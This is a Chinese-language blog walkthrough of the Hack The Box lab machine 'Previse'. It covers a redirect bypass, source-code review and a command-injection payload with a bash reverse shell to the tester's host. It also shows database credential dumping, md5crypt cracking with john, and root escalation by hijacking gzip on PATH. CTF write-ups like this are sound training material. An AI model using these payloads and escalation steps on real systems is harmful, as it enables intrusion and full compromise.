htb previse复盘 | Flowww's blog

信息搜集

─# nmap -A -p- --min-rate=1000 -T4 10.10.11.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 19:03 PDT
Nmap scan report for 10.10.11.104
Host is up (0.52s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=9/12%OT=22%CT=1%CU=42757%PV=Y%DS=2%DC=T%G=Y%TM=66E3
OS:9E0F%P=aarch64-unknown-linux-gnu)SEQ(SP=107%GCD=1%ISR=10E%TI=Z%CI=Z%TS=A
OS:)SEQ(SP=107%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53AST11NW7%O2=M53A
OS:ST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M53AST11)WIN(W1
OS:=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O
OS:=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N
OS:)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=
OS:G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   414.58 ms 10.10.16.1
2   587.74 ms 10.10.11.104

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.33 seconds

只有22和80端口

web

先访问80端口，只有一个登陆口，尝试了密码爆破和sql注入，都不成功，后面看的官方对机器的描述是关于重定向的，扫到的nav.php，点到其他php都会定向会login.php。看一下bp历史包

可以看到返回包里有accounts.php的详细内容，但是状态码是302，我们尝试bp抓包后”Do interact”，修改返回包的状态码

这下就不会被重定向到login.php，可以看到正常的account页面

我们在这里新建一个用户，再正常登陆，登陆后就不会被重定向了

然后再download.php找到一个可以下载的压缩包SITEBACKUP.zip，下载下来是网站的源码，config.php可以看到mysql登陆账号密码，后面可以用，经过一番搜寻，在logs.php里面发现exec函数，里面的变量可控，大概率存在代码注入漏洞

找到导出log的php，抓到包

改变一下delim变量值

1	delim=%3bbash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.4/1234+0>%261'%3b

成功反弹shell

提权

拿到第一反应是先登陆mysql

www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' -e 'use previse;select * from accounts;'
<ssw0rd!:)' -e 'use previse;select * from accounts;'
mysql: [Warning] Using a password on the command line interface can be insecure.
id      username        password        created_at
1       m4lwhere        $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.        2021-05-27 18:18:36
2       admin   $1$🧂llol$G3KunFyMrVvsqYP1JpRi70        2024-09-13 02:06:23

拿到 m4lwhere的加盐密码，还要看到他是什么类型的哈希

然后在accounts.php源码找到存储逻辑

Crypt()函数，md5加密来的，于是指定john的爆破格式

1	john hash --wordlist=/home/kali/Desktop/rockyou.txt --format=md5crypt-long

最后拿到密码ilovecody112235!登陆m4lwhere

第一件事sudo -l，找到一个可以用的脚本

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$ ls -l /opt/scripts/access_backup.sh
-rwxr-xr-x 1 root root 486 Jun  6  2021 /opt/scripts/access_backup.sh
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

没有修改权限，第一反应是修改环境变量，里面用到gzip

cd /tmp
echo -ne '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash' > gzip
chmod +x gzip
export PATH=/tmp:$PATH
sudo /opt/scripts/access_backup.sh

提权成功

总结

真感觉htb质量高，难度适中，什么知识点都需要，最开始重定向分析那个算是基础，这次复盘下来也是加深了印象，拿到源码后审计这块真需要耐心。。。